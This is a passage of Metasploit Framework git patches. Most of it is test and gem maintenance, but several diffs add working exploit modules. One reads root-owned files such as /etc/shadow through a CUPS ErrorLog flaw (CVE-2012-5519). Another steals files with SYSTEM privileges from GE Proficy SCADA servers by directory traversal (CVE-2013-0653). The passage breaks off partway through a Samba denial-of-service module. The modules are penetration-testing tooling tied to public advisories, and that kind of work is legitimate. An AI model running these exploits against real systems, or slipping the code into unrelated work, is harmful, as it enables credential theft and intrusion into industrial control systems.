module_info_by_path_from_database! diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 7cd9ea9f4a..c023b32d74 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -91,7 +91,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do end let(:namespace_module) do - mock('Namespace Module', :parent_path => parent_path) + double('Namespace Module', :parent_path => parent_path) end let(:options) do From cf69577433eebf130751053801426fa7de9a5827 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Fri, 23 Aug 2013 16:29:30 -0500 Subject: [PATCH 092/160] Remove rpsec should_not raise_error deprecations Checking that a specifc error is not raised is deprecated in rspec: https://github.com/rspec/rspec-expectations/pull/244 --- spec/lib/msf/core/modules/loader/base_spec.rb | 4 ++-- spec/lib/msf/core/modules/namespace_spec.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 59763278ad..916b23d0ae 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -133,7 +133,7 @@ describe Msf::Modules::Loader::Base do it 'should capture the lexical scope' do expect { namespace_module.module_eval_with_lexical_scope(module_content, module_path) - }.to_not raise_error(NameError) + }.to_not raise_error end context 'with malformed module content' do @@ -1173,7 +1173,7 @@ describe Msf::Modules::Loader::Base do # not defined on `nil`. expect { subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - }.to_not raise_error(NoMethodError) + }.to_not raise_error end context 'with namespace_module nil' do diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index ecacde36a0..96eaf44a86 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -229,7 +229,7 @@ describe Msf::Modules::Namespace do it 'should not raise an error' do expect { subject.version_compatible!(module_path, module_reference_name) - }.to_not raise_error(Msf::Modules::VersionCompatibilityError) + }.to_not raise_error end end end From 35ec21cc9744b718600306ef42096d8f644c9319 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Fri, 23 Aug 2013 16:36:39 -0500 Subject: [PATCH 093/160] Update test gems This should not affect core Metasploit Framework as it only updates gems in the test group (and dependencies of those gems). --- Gemfile | 3 +- Gemfile.lock | 35 +++---- spec/support/matchers/query_the_database.rb | 108 ++++++++++++++++++++ 3 files changed, 124 insertions(+), 22 deletions(-) create mode 100644 spec/support/matchers/query_the_database.rb diff --git a/Gemfile b/Gemfile index 042c3437bb..689efb67fd 100755 --- a/Gemfile +++ b/Gemfile @@ -51,11 +51,10 @@ group :test do gem 'database_cleaner' # testing framework gem 'rspec', '>= 2.12' - # add matchers from shoulda, such as query_the_database, which is useful for - # testing that the Msf::DBManager activation is respected. gem 'shoulda-matchers' # code coverage for tests # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. + # see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0) gem 'simplecov', '0.5.4', :require => false # Manipulate Time.now in specs gem 'timecop' diff --git a/Gemfile.lock b/Gemfile.lock index c532448b29..fd3a6ad609 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -13,23 +13,19 @@ GEM i18n (= 0.6.1) multi_json (~> 1.0) arel (3.0.2) - bourne (1.4.0) - mocha (~> 0.13.2) builder (3.0.4) - database_cleaner (0.9.1) - diff-lcs (1.2.2) + database_cleaner (1.1.1) + diff-lcs (1.2.4) factory_girl (4.2.0) activesupport (>= 3.0.0) - i18n (0.6.1) - json (1.7.7) - metaclass (0.0.1) + i18n (0.6.5) + json (1.8.0) metasploit_data_models (0.16.6) activerecord (>= 3.2.13) activesupport pg - mocha (0.13.3) - metaclass (~> 0.0.1) - msgpack (0.5.4) + mini_portile (0.5.1) + msgpack (0.5.5) multi_json (1.0.4) network_interface (0.0.1) nokogiri (1.5.9) @@ -39,22 +35,21 @@ GEM rake (10.0.4) redcarpet (2.2.2) robots (0.10.1) - rspec (2.13.0) - rspec-core (~> 2.13.0) - rspec-expectations (~> 2.13.0) - rspec-mocks (~> 2.13.0) - rspec-core (2.13.1) - rspec-expectations (2.13.0) + rspec (2.14.1) + rspec-core (~> 2.14.0) + rspec-expectations (~> 2.14.0) + rspec-mocks (~> 2.14.0) + rspec-core (2.14.5) + rspec-expectations (2.14.2) diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.13.0) - shoulda-matchers (1.5.2) + rspec-mocks (2.14.3) + shoulda-matchers (2.3.0) activesupport (>= 3.0.0) - bourne (~> 1.3) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) - timecop (0.6.1) + timecop (0.6.3) tzinfo (0.3.37) yard (0.8.5.2) diff --git a/spec/support/matchers/query_the_database.rb b/spec/support/matchers/query_the_database.rb new file mode 100644 index 0000000000..c7089c3ac9 --- /dev/null +++ b/spec/support/matchers/query_the_database.rb @@ -0,0 +1,108 @@ +module Shoulda # :nodoc: + module Matchers + module ActiveRecord # :nodoc: + + # Ensures that the number of database queries is known. Rails 3.1 or greater is required. + # + # Options: + # * when_calling - Required, the name of the method to examine. + # * with - Used in conjunction with when_calling to pass parameters to the method to examine. + # * or_less - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times. + # + # Examples: + # it { should query_the_database(4.times).when_calling(:complicated_counting_method) + # it { should query_the_database(4.times).or_less.when_calling(:generate_big_report) + # it { should_not query_the_database.when_calling(:cached_count) + # + def query_the_database(times = nil) + QueryTheDatabaseMatcher.new(times) + end + + class QueryTheDatabaseMatcher # :nodoc: + def initialize(times) + @queries = [] + @options = {} + + if times.respond_to?(:count) + @options[:expected_query_count] = times.count + else + @options[:expected_query_count] = times + end + end + + def when_calling(method_name) + @options[:method_name] = method_name + self + end + + def with(*method_arguments) + @options[:method_arguments] = method_arguments + self + end + + def or_less + @options[:expected_count_is_maximum] = true + self + end + + def matches?(subject) + subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload| + @queries << payload unless filter_query(payload) + end + + if @options[:method_arguments] + subject.send(@options[:method_name], *@options[:method_arguments]) + else + subject.send(@options[:method_name]) + end + + ActiveSupport::Notifications.unsubscribe(subscriber) + + if @options[:expected_count_is_maximum] + @queries.length <= @options[:expected_query_count] + elsif @options[:expected_query_count].present? + @queries.length == @options[:expected_query_count] + else + @queries.length > 0 + end + end + + def failure_message_for_should + if @options.key?(:expected_query_count) + "Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end + + def failure_message_for_should_not + if @options[:expected_query_count] + "Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end + + private + + def friendly_queries + @queries.map do |query| + "\n (#{query[:name]}) #{query[:sql]}" + end.join + end + + def filter_query(query) + query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql]) + end + + def schema_terms + ['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction'] + end + + def looks_like_schema?(sql) + schema_terms.any? { |term| sql.include?(term) } + end + end + end + end +end From c1e3884e5a7748f9a4b2085122b16d29c3117103 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Sat, 24 Aug 2013 21:31:26 -0500 Subject: [PATCH 094/160] Update active* and other gems --- Gemfile.lock | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index fd3a6ad609..4d3284a1d1 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,16 +1,16 @@ GEM remote: http://rubygems.org/ specs: - activemodel (3.2.13) - activesupport (= 3.2.13) + activemodel (3.2.14) + activesupport (= 3.2.14) builder (~> 3.0.0) - activerecord (3.2.13) - activemodel (= 3.2.13) - activesupport (= 3.2.13) + activerecord (3.2.14) + activemodel (= 3.2.14) + activesupport (= 3.2.14) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.13) - i18n (= 0.6.1) + activesupport (3.2.14) + i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) arel (3.0.2) builder (3.0.4) @@ -28,12 +28,13 @@ GEM msgpack (0.5.5) multi_json (1.0.4) network_interface (0.0.1) - nokogiri (1.5.9) + nokogiri (1.6.0) + mini_portile (~> 0.5.0) packetfu (1.1.8) pcaprub (0.11.3) - pg (0.15.1) - rake (10.0.4) - redcarpet (2.2.2) + pg (0.16.0) + rake (10.1.0) + redcarpet (3.0.0) robots (0.10.1) rspec (2.14.1) rspec-core (~> 2.14.0) @@ -51,7 +52,7 @@ GEM simplecov-html (0.5.3) timecop (0.6.3) tzinfo (0.3.37) - yard (0.8.5.2) + yard (0.8.7) PLATFORMS ruby From 83a827095b3463510fe2ec8ffc3415d63ae8c79e Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Sun, 25 Aug 2013 22:26:58 -0500 Subject: [PATCH 095/160] Older versions of rake break specs --- Gemfile | 2 +- Gemfile.lock | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile b/Gemfile index 689efb67fd..ba5b88d77d 100755 --- a/Gemfile +++ b/Gemfile @@ -41,7 +41,7 @@ group :development, :test do # 'FactoryGirl.' in factory definitions syntax. gem 'factory_girl', '>= 4.1.0' # running documentation generation tasks and rspec tasks - gem 'rake' + gem 'rake', '>= 10.0.0' end group :test do diff --git a/Gemfile.lock b/Gemfile.lock index 4d3284a1d1..7b19933226 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -70,7 +70,7 @@ DEPENDENCIES packetfu (= 1.1.8) pcaprub pg (>= 0.11) - rake + rake (>= 10.0.0) redcarpet robots rspec (>= 2.12) From d9fed860a5451ae9118863c8cc4d54e43d5bdd94 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 10:11:06 -0500 Subject: [PATCH 096/160] Fix check method --- modules/post/multi/escalate/cups_root_file_read.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index b9fd2a0328..96199d6884 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -90,9 +90,6 @@ class Metasploit3 < Msf::Post output = get_request('/') if output =~ /title.*CUPS\s+([\d\.]+)/i config_vn = $1.strip - else - print_error "Could not determine CUPS version." - return Msf::Exploit::CheckCode::Unknown end else config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed @@ -100,6 +97,11 @@ class Metasploit3 < Msf::Post print_status "Found CUPS #{config_vn}" + if config_vn.nil? + print_error "Could not determine CUPS version." + return Msf::Exploit::CheckCode::Unknown + end + config_parts = config_vn.split('.') if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 Msf::Exploit::CheckCode::Vulnerable From 9b9e1592fd7d6c0b3fda0c41441b74cad0b7ab72 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 10:13:38 -0500 Subject: [PATCH 097/160] Retab changes --- .../multi/escalate/cups_root_file_read.rb | 262 +++++++++--------- 1 file changed, 131 insertions(+), 131 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 96199d6884..343779403e 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -6,167 +6,167 @@ ## class Metasploit3 < Msf::Post - include Msf::Post::File - include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Common - LP_GROUPS = ['lpadmin', '_lpadmin'] + LP_GROUPS = ['lpadmin', '_lpadmin'] - attr_accessor :web_server_was_disabled, :error_log_was_reset + attr_accessor :web_server_was_disabled, :error_log_was_reset - def initialize(info={}) - super( update_info( info, { - 'Name' => 'CUPS 1.6.1 Root File Read', - 'Description' => %q{ - This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system. - CUPS allows members of the lpadmin group to make changes to the cupsd.conf - configuration, which can specify an Error Log path. When the user visits the - Error Log page in the web interface, the cupsd daemon (running with setuid root) - reads the Error Log path and echoes it as plaintext. + def initialize(info={}) + super( update_info( info, { + 'Name' => 'CUPS 1.6.1 Root File Read', + 'Description' => %q{ + This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system. + CUPS allows members of the lpadmin group to make changes to the cupsd.conf + configuration, which can specify an Error Log path. When the user visits the + Error Log page in the web interface, the cupsd daemon (running with setuid root) + reads the Error Log path and echoes it as plaintext. - This module is known to work on: + This module is known to work on: - - Mac OS X < 10.8.4 - - Ubuntu Desktop <= 12.0.4 + - Mac OS X < 10.8.4 + - Ubuntu Desktop <= 12.0.4 - ...as long as the session is in the lpadmin group. + ...as long as the session is in the lpadmin group. - Warning: if the user has set up a custom path to the CUPS error log, - this module might fail to reset that path correctly. You can specify - a custom error log path with the ERROR_LOG datastore option. - }, - 'References' => - [ - ['CVE', '2012-5519'], - ['OSVDB', '87635'], - ['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791'] - ], - 'License' => MSF_LICENSE, - 'Author' => - [ - "Jann Horn", # discovery - "joev " # metasploit module - ], - 'DisclosureDate' => 'Nov 20 2012', - 'Platform' => ['osx', 'linux'] - })) - register_options([ - OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]), - OptString.new("ERROR_LOG", - [true, "The original path to the CUPS error log", '/var/log/cups/error_log'] - ) - ], self.class) - end + Warning: if the user has set up a custom path to the CUPS error log, + this module might fail to reset that path correctly. You can specify + a custom error log path with the ERROR_LOG datastore option. + }, + 'References' => + [ + ['CVE', '2012-5519'], + ['OSVDB', '87635'], + ['URL', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791'] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + "Jann Horn", # discovery + "joev " # metasploit module + ], + 'DisclosureDate' => 'Nov 20 2012', + 'Platform' => ['osx', 'linux'] + })) + register_options([ + OptString.new("FILE", [true, "The file to steal.", "/etc/shadow"]), + OptString.new("ERROR_LOG", + [true, "The original path to the CUPS error log", '/var/log/cups/error_log'] + ) + ], self.class) + end - def check_exploitability - user = cmd_exec("whoami") - user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/) - if (user_groups & LP_GROUPS).empty? - print_error "User not in lpadmin group." - return Msf::Exploit::CheckCode::Safe - else - print_good "User in lpadmin group, continuing..." - end + def check_exploitability + user = cmd_exec("whoami") + user_groups = cmd_exec("groups #{[user].shelljoin}").split(/\s+/) + if (user_groups & LP_GROUPS).empty? + print_error "User not in lpadmin group." + return Msf::Exploit::CheckCode::Safe + else + print_good "User in lpadmin group, continuing..." + end - if ctl_path.blank? - print_error "cupsctl binary not found in $PATH" - return Msf::Exploit::CheckCode::Safe - else - print_good "cupsctl binary found in $PATH" - end + if ctl_path.blank? + print_error "cupsctl binary not found in $PATH" + return Msf::Exploit::CheckCode::Safe + else + print_good "cupsctl binary found in $PATH" + end - nc_path = whereis("nc") - if nc_path.nil? or nc_path.blank? - print_error "Could not find nc executable" - return Msf::Exploit::CheckCode::Unknown - else - print_good "nc binary found in $PATH" - end + nc_path = whereis("nc") + if nc_path.nil? or nc_path.blank? + print_error "Could not find nc executable" + return Msf::Exploit::CheckCode::Unknown + else + print_good "nc binary found in $PATH" + end - config_path = whereis("cups-config") - config_vn = nil + config_path = whereis("cups-config") + config_vn = nil - if config_path.nil? or config_path.blank? - # cups-config not present, ask the web interface what vn it is - output = get_request('/') - if output =~ /title.*CUPS\s+([\d\.]+)/i - config_vn = $1.strip - end - else - config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed - end + if config_path.nil? or config_path.blank? + # cups-config not present, ask the web interface what vn it is + output = get_request('/') + if output =~ /title.*CUPS\s+([\d\.]+)/i + config_vn = $1.strip + end + else + config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed + end - print_status "Found CUPS #{config_vn}" + print_status "Found CUPS #{config_vn}" if config_vn.nil? print_error "Could not determine CUPS version." return Msf::Exploit::CheckCode::Unknown end - config_parts = config_vn.split('.') - if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 - Msf::Exploit::CheckCode::Vulnerable - else - Msf::Exploit::CheckCode::Safe - end - end + config_parts = config_vn.split('.') + if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 + Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe + end + end - def run - if check_exploitability == Msf::Exploit::CheckCode::Safe - print_error "Target machine not vulnerable, bailing." - return - end + def run + if check_exploitability == Msf::Exploit::CheckCode::Safe + print_error "Target machine not vulnerable, bailing." + return + end - defaults = cmd_exec(ctl_path) - @web_server_was_disabled = defaults =~ /^WebInterface=no$/i + defaults = cmd_exec(ctl_path) + @web_server_was_disabled = defaults =~ /^WebInterface=no$/i - # first we set the error log to the path intended - cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}") - cmd_exec("#{ctl_path} WebInterface=yes") - @error_log_was_reset = true + # first we set the error log to the path intended + cmd_exec("#{ctl_path} ErrorLog=#{datastore['FILE']}") + cmd_exec("#{ctl_path} WebInterface=yes") + @error_log_was_reset = true - # now we go grab it from the ErrorLog route - file = strip_http_headers(get_request('/admin/log/error_log')) + # now we go grab it from the ErrorLog route + file = strip_http_headers(get_request('/admin/log/error_log')) - # and store as loot - f = File.basename(datastore['FILE']) - loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f) - print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}") - end + # and store as loot + f = File.basename(datastore['FILE']) + loot = store_loot('cups_file_read', 'application/octet-stream', session, file, f) + print_good("File #{datastore['FILE']} (#{file.length} bytes) saved to #{loot}") + end - def cleanup - print_status "Cleaning up..." - cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled - cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset - super - end + def cleanup + print_status "Cleaning up..." + cmd_exec("#{ctl_path} WebInterface=no") if web_server_was_disabled + cmd_exec("#{ctl_path} ErrorLog=#{prev_error_log_path}") if error_log_was_reset + super + end - private + private - def prev_error_log_path; datastore['ERROR_LOG']; end - def ctl_path; @ctl_path ||= whereis("cupsctl"); end - def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end + def prev_error_log_path; datastore['ERROR_LOG']; end + def ctl_path; @ctl_path ||= whereis("cupsctl"); end + def strip_http_headers(http); http.gsub(/\A(^.*\r\n)*/, ''); end - def whereis(exe) - line = cmd_exec("whereis #{exe}") - if line =~ /^\S+:\s*(\S*)/i - $1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl" - else - line # on osx it just returns '/usr/sbin/cupsctl' - end - end + def whereis(exe) + line = cmd_exec("whereis #{exe}") + if line =~ /^\S+:\s*(\S*)/i + $1 # on ubuntu whereis returns "cupsctl: /usr/sbin/cupsctl" + else + line # on osx it just returns '/usr/sbin/cupsctl' + end + end - def get_request(uri) - output = perform_request(uri, 'nc -j localhost 631') + def get_request(uri) + output = perform_request(uri, 'nc -j localhost 631') - if output =~ /^usage: nc/ - output = perform_request(uri, 'nc localhost 631') - end + if output =~ /^usage: nc/ + output = perform_request(uri, 'nc localhost 631') + end - output - end + output + end - def perform_request(uri, nc_str) - # osx requires 3 newlines! - cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' ')) - end + def perform_request(uri, nc_str) + # osx requires 3 newlines! + cmd_exec(['printf', "GET #{uri}\r\n\r\n\r\n".inspect, '|', nc_str].join(' ')) + end end From ffa600ff8ba5bb5ccd74b8ac720d4602435adfd4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 10:21:18 -0500 Subject: [PATCH 098/160] Fix really the check method --- modules/post/multi/escalate/cups_root_file_read.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 343779403e..69043cc7c5 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -95,13 +95,13 @@ class Metasploit3 < Msf::Post config_vn = cmd_exec("cups-config --version").strip # use cups-config if installed end - print_status "Found CUPS #{config_vn}" - if config_vn.nil? print_error "Could not determine CUPS version." return Msf::Exploit::CheckCode::Unknown end + print_status "Found CUPS #{config_vn}" + config_parts = config_vn.split('.') if config_vn.to_f < 1.6 or (config_vn.to_f <= 1.6 and config_parts[2].to_i < 2) # <1.6.2 Msf::Exploit::CheckCode::Vulnerable From 45821a505b2d9188e2c47406524d98a8fe4a5e84 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 12:42:34 -0500 Subject: [PATCH 099/160] Add module for CVE-2013-0653 --- .../scada/ge_proficy_substitute_traversal.rb | 145 ++++++++++++++++++ 1 file changed, 145 insertions(+) create mode 100644 modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb new file mode 100644 index 0000000000..ca17270781 --- /dev/null +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -0,0 +1,145 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'uri' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal', + 'Description' => %q{ + This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the + gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM + privileges. + }, + 'Author' => + [ + 'Unknown', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-0653' ], + [ 'OSVDB', '89489' ], + [ 'BID', '57505' ], + [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ] + ], + 'DisclosureDate' => 'Jan 22 2013')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']), + OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']), + # By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb + OptInt.new('DEPTH', [true, 'Traversal depth', 5]) + ], self.class) + end + + def normalize_uri(*strs) + new_str = strs * "/" + + new_str = new_str.gsub!("//", "/") while new_str.index("//") + + # Makes sure there's a starting slash + unless new_str[0,1] == '/' + new_str = '/' + new_str + end + + new_str + end + + def target_uri + begin + # In case TARGETURI is empty, at least we default to '/' + u = datastore['TARGETURI'] + u = "/" if u.nil? or u.empty? + URI(u) + rescue ::URI::InvalidURIError + print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" + raise Msf::OptionValidateError.new(['TARGETURI']) + end + end + + def my_basename(filename) + return ::File.basename(filename.gsub(/\\/, "/")) + end + + def is_proficy? + connect + req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n" + sock.put(req) + res = sock.get_once + disconnect + + if res and res =~ /gefebt.exe/ + return true + else + return false + end + end + + # We can't use the http client msf mixin because the Proficy Web server + # return a malformed HTTP response with the file contents, there aren't + # two new lines (but one) between the HTTP headers and the body content. + def read_file(file) + travs = "" + travs << "../" * datastore['DEPTH'] + travs << file + + print_status("#{@peer} - Retrieving file contents...") + + connect + req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n" + sock.put(req) + res = sock.get_once + disconnect + + if res and res =~ /HTTP\/1\.0 200 OK/ + return res + else + return nil + end + + end + + def run + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Fingerprinting GE Proficy") + if is_proficy? + print_good("#{@peer} - Login successful") + else + print_error("#{@peer} - GE proficy not found") + return + end + + contents = read_file(datastore['FILEPATH']) + if contents.nil? + print_error("#{@peer} - File not downloaded") + return + end + + file_name = my_basename(datastore['FILEPATH']) + path = store_loot( + 'hp.imc.faultdownloadservlet', + 'application/octet-stream', + rhost, + contents, + file_name + ) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + + end + +end From 4e3d4994c3943c9c53d2b92f7bd9d4019c8cd4ed Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 12:58:54 -0500 Subject: [PATCH 100/160] Update description --- .../auxiliary/admin/scada/ge_proficy_substitute_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb index ca17270781..7ac69049e3 100644 --- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM - privileges. + privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5. }, 'Author' => [ From 830bc2ae64cd387b6d062d7dbd22f2ec861c0769 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 13:01:39 -0500 Subject: [PATCH 101/160] Update OSVDB reference --- .../auxiliary/admin/scada/ge_proficy_substitute_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb index 7ac69049e3..c34ee5739a 100644 --- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2013-0653' ], - [ 'OSVDB', '89489' ], + [ 'OSVDB', '89490' ], [ 'BID', '57505' ], [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ] ], From be9b0da59572aa2e560db67b59eadcd48e9f10bd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 6 Sep 2013 16:09:38 -0500 Subject: [PATCH 102/160] Update print message --- .../auxiliary/admin/scada/ge_proficy_substitute_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb index c34ee5739a..660c4272e7 100644 --- a/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb +++ b/modules/auxiliary/admin/scada/ge_proficy_substitute_traversal.rb @@ -116,9 +116,9 @@ class Metasploit3 < Msf::Auxiliary def run @peer = "#{rhost}:#{rport}" - print_status("#{@peer} - Fingerprinting GE Proficy") + print_status("#{@peer} - Checking if it's a GE Proficy Application...") if is_proficy? - print_good("#{@peer} - Login successful") + print_good("#{@peer} - Check successful") else print_error("#{@peer} - GE proficy not found") return From a40e0ba7043e35595c8198ea7740c533a9d09a0a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 7 Sep 2013 16:11:00 -0500 Subject: [PATCH 103/160] Clean up read_nttrans_ea_list --- .../dos/samba/read_nttrans_ea_list.rb | 89 +++++++++++-------- 1 file changed, 54 insertions(+), 35 deletions(-) diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index a677e816c5..d100244fc9 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -11,51 +11,53 @@ require 'rex/proto/smb' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Authenticated - UTILS = Rex::Proto::SMB::Utils - - # Trans2_Parameters TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( - [ 'uint16v', 'FID', 0 ], # SMB_FILE_FULL_EA_INFORMATION - [ 'uint16v', 'InfoLevel', 1015 ], # SMB_FILE_FULL_EA_INFORMATION - [ 'uint16v', 'Reserved', 0x00 ], + [ 'uint16v', 'FID', 0 ], + [ 'uint16v', 'InfoLevel', 0 ], + [ 'uint16v', 'Reserved', 0 ], ) FEA_LIST = Rex::Struct2::CStructTemplate.new( - [ 'uint32v', 'NextOffset', 0x00000000], - [ 'uint8', 'Flags', 0x00 ], - [ 